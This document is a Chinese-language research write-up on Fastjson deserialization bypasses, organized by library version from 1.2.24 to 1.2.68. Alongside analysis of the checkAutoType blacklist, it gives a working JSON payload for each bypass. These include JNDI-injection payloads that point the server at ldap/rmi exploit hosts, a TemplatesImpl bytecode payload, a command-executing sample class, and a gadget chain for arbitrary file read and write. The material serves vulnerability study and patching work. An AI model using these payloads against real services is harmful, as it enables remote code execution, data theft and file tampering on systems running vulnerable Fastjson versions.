1.2.24
TemplatesImpl,利用条件苛刻,需要开启Feature.SupportNonPublicField
{"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes": ["yv66vgAAADQA...CJAAk="],"_name": "pwn","_tfactory": {},"_outputProperties": {},
}
JdbcRowSetImpl利用链的JDNI注入,有RMI和LDAP两种利用方式,不过有JDK版本限制,具体见JNDI。
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:23457/Command8","autoCommit":true
}{"@type":"com.sun.rowset.JdbcRowSetImpl","databaseMetaData":"ldap://127.0.0.1:23457/Command8","autoCommit":true
}
1.2.25
25版本引入了checkAutoType的机制,默认情况下autoTypeSupport关闭,不能直接反序列化任意类,检测方式是先黑名单检测,后加载白名单中存在的类:
如果autoTypeSupport打开的情况,是先加载白名单中存在的类,后黑名单检测:
之后,如果autoTypeSupport打开,并且指定了反序列化的类exceptClass,会进入loadClass方法:
跟进这个方法,这里对类名中的一些特殊字符做了处理,然后递归调用loadClass:
所以可以利用这个特性,在autoTypeSupport打开,并且指定反序列化的类exceptClass的情况下,为黑名单中的类加上这些字符,就能绕过黑名单的检测。
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://127.0.0.1:23457/Command8","autoCommit":true
}// another
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","databaseMetaData":"ldap://127.0.0.1:23457/Command8","autoCommit":true
}
1.2.42
42版本中开发人员将明文黑名单改成了hash黑名单,已经有人碰撞出了不少,意义不大;在处理25黑名单绕过的时候做了一个校验,如果类名以L
开头,;
结尾,则会用stubstring处理一下:
双写即可绕过:
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://127.0.0.1:23457/Command8","autoCommit":true
}
1.2.43
针对42版本中的双写绕过,43中解决的方法是套了一个子判断:
随后安全研究人员将目光投入了在loadClass中也同样被处理的 '[' 字符:
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[,{"dataSourceName":"ldap://127.0.0.1:23457/Command8","autoCommit":true
}
1.2.44
44版本针对43版本的绕过作了处理,如果类名以 [ 开头则会直接抛出异常:
1.2.45
45版本为黑名单绕过:
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://127.0.0.1:23457/Command8"}
}
1.2.47
47版本下出现了不开启autoTypeSupport的绕过,绕过方式是第一轮扫描先通过Class类把JdbcRowSetImpl加入mapping缓存,第二轮扫描的时候直接从缓存中获取类,从而绕过的黑名单的检测。
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:9999/Exploit","autoCommit":true}
}
关于版本:
- 在1.2.25 ~ 32中,未开启autoTypeSupport的情况下可以利用成功,开启之后反而无法利用
- 在1.2.33 ~ 47中,无论是否开启autoTypeSupport都可以利用
关于版本问题的原因还是在checkAutoType方法中,在开启了autoTypeSupport情况下:
对于黑名单的判读逻辑不一样,33版本之后多加了一个条件,就是从缓存的mapping中获取待加载的类,第一轮扫描把JdbcRowSetImpl加入了缓存,对于33版本之后第二轮扫描JdbcRowSetImpl的时候这个条件为true,就绕过的黑名单的检测,而33版本之前由于没有这一个条件,所以会抛出异常。
在没有开启autoTypeSupport的情况下,不会进入到第一个if条件中去,Class类在这个被找到:
之后会提取json文本中的 "var" 的值,然后放到缓存mapping中,第二轮扫描的时候通过TypeUtils#getClassFromMapping
直接获取到了JdbcRowSetImpl。
1.2.62
需要开启AutoType;需要服务端存在xbean-reflect包;JNDI注入受JDK版本的影响。
{"@type": "org.apache.xbean.propertyeditor.JndiConverter","AsText": "ldap://localhost:1389/Exploit"
}
1.2.66
Fastjson1.2.6 6 远程代码执行漏洞分析复现含 4 个 Gadget 利用 Poc 构造 (seebug.org)
黑名单绕过,都需要开启AutoType。
{ "@type": "org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames": [ "ldap://localhost:1389/Exploit" ], "Realms": [ "" ]}
{ "@type": "br.com.anteros.dbcp.AnterosDBCPConfig", "metricRegistry": "ldap://localhost:1389/Exploit"}{ "@type": "br.com.anteros.dbcp.AnterosDBCPConfig", "healthCheckRegistry": "ldap://localhost:1389/Exploit"}
{ "@type": "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig", "properties": { "@type": "java.util.Properties", "UserTransaction": "ldap://localhost:1389/Exploit" }}
1.2.67
黑名单绕过,需要开启AutoType。
{ "@type": "org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames": [ "ldap://localhost:1389/Exploit" ], "tm": { "$ref": "$.tm" }}
{ "@type": "org.apache.shiro.jndi.JndiObjectFactory", "resourceName": "ldap://localhost:1389/Exploit", "instance": { "$ref": "$.instance" }}
1.2.68
48版本把缓存开关默认这只为了false,从而避免了通过加载恶意类到缓存mapping中的绕过方式。
直到68版本之后出现了新的安全控制点safeMode,如果开启,在checkAtuoType的时候会直接抛出异常:
对于开了safeMode的站基本不用看了✔
此外这个版本提出了一种针对expectClass的绕过,其思路是利用checkAutoType方法的expectClass参数,先传入某个类作为expectClass,再传入另一个expectClass或者其子类来进行绕过(expectClass不在黑名单中):
AutoCloseable(无需AutoType)
根据网上公开的分析文章来看,主要是利用了java.lang.AutoCloseable接口,这个接口内置在Fastjson的白名单中,方便复现,假设服务器存在一个恶意的AutoCloseable实现类:
package v_68;import java.io.IOException;public class A implements AutoCloseable{ public A() throws IOException { Runtime.getRuntime().exec("calc"); } @Override public void close() throws Exception { }}
POC如下:
{"@type":"java.lang.AutoCloseable","@type":"v_68.A"}
调试分析
在第一次checkAutoType方法的检测中,传入的expectClass为null,检验的类为java.lang.AutoCloseable:
如果开启了autoTypeSupport,那么会从TypeUtils中直接加载返回:
如果没有开启autoTypeSupport,会从缓存mapping处获取之后返回(java.lang.AutoCloseable默认在缓存mapping中):
回到parseObject方法中,再往下走,Fastjson根据第一次执行checkAutoType方法返回的class获取相应的deserializer,可以看到AutoCloseable类获取的deserializer为JavaBeanDeserializer:
> 再往后跟代码比较冗长,主要是Fastjson词法分析的过程,捡几个重点说。
首先会从json字符串中匹配AutoCloseable的成员变量,如果匹配不到则继续往后扫描json字符串,提取下一个key:
拿到@type的值之后进入第二遍checkAutoType,此时expectClass正好是java.lang.AutoCloseable:
接上文,成功绕过checkAutoType,之后会默认调用无参构造方法来构建JavaBean。
SafeFileOutputStream
<dependency> <groupId>org.aspectj</groupId> <artifactId>aspectjtools</artifactId> <version>1.9.5</version></dependency>
用到的类是org.eclipse.core.internal.localstore.SafeFileOutputStream
,在它的构造方法里:
利用这个特点可以实现任意文件读:
{ "@type":"java.lang.AutoCloseable", "@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream", "tempPath": "C:/Windows/win.ini", "targetPath": "C:/Users/45258/Desktop/IdeaProjects/JavaStudy/fastjson/1.txt"}
Output
<dependency> <groupId>com.esotericsoftware</groupId> <artifactId>kryo</artifactId> <version>4.0.0</version></dependency>
用到的类是com.esotericsoftware.kryo.io.Output
,这个类的setOutputStream和setBuffer可以控制写入的流和写入的数据;在flush方法中触发了文件内容写入:
在require方法中触发了flush方法,在write相关方法中触发了require方法:
在JDK自带的ObjectOutputStream中有参构造方法中:
setBlockDataMode方法会触发drain方法,drain方法会触发wirte方法:
于是可以把out赋值成Output类的实例,直到触发flush方法。
但是Fastjson有一个特性就是在构建JavaBean的时候默认调用的是无参构造方法,所以想要调用ObjectOutputStream的有参构造方法,就只能靠其子类来调用,这里一个可用的类是SerialOutput,依赖如下:
<dependency> <groupId>com.sleepycat</groupId> <artifactId>je</artifactId> <version>5.0.73</version></dependency>
在这个类唯一的构造方法中调用了其父类(ObjectOutputStream)的有参构造方法,所以一条Gadget就构造完成了:
write:126, SafeFileOutputStream (org.eclipse.core.internal.localstore)write:116, OutputStream (java.io)flush:185, Output (com.esotericsoftware.kryo.io)require:164, Output (com.esotericsoftware.kryo.io)writeBytes:251, Output (com.esotericsoftware.kryo.io)write:219, Output (com.esotericsoftware.kryo.io)drain:1877, ObjectOutputStream$BlockDataOutputStream (java.io)setBlockDataMode:1786, ObjectOutputStream$BlockDataOutputStream (java.io)<init>:247, ObjectOutputStream (java.io)<init>:73, SerialOutput (com.sleepycat.bind.serial)
至于为什么Output类中可控的写入的流选用了SafeFileOutputStream类,原因有以下几点:
- 实现了java.lang.AutoCloseable接口,可以绕过checkAutoType
- 在其构造方法处根据传入的targetPath和tempPath实现了FileOutputStream的初始化
- 通过控制这两条路径就能向文件中写入内容
这个Exp利用了Fastjson中的循环引用:
{ "stream": { "@type": "java.lang.AutoCloseable", "@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream", "targetPath": "D:/wamp64/www/hacked.txt", "tempPath": "D:/wamp64/www/test.txt" }, "writer": { "@type": "java.lang.AutoCloseable", "@type": "com.esotericsoftware.kryo.io.Output", "buffer": "cHduZWQ=", "outputStream": { "$ref": "$.stream" }, "position": 5 }, "close": { "@type": "java.lang.AutoCloseable", "@type": "com.sleepycat.bind.serial.SerialOutput", "out": { "$ref": "$.writer" } }}
在这里我本来想用JDK原生的java.io.FileOutputStream来代替SafeFileOutputStream,但是却出现了下面的错误:
具体问题研究以及解决:问题记录 (wolai.com)
Throwable(AutoType开启)
@type指定为java.lang.Throwable的时候获取到的deserializer为ThrowableDeserializer:
在ThrowableDeserializer#deserialze方法中指定了checkAutoType方法的入参expectClass为Throwable.class:
但是这个类没有找到合适的Gadget,先留着以后再说。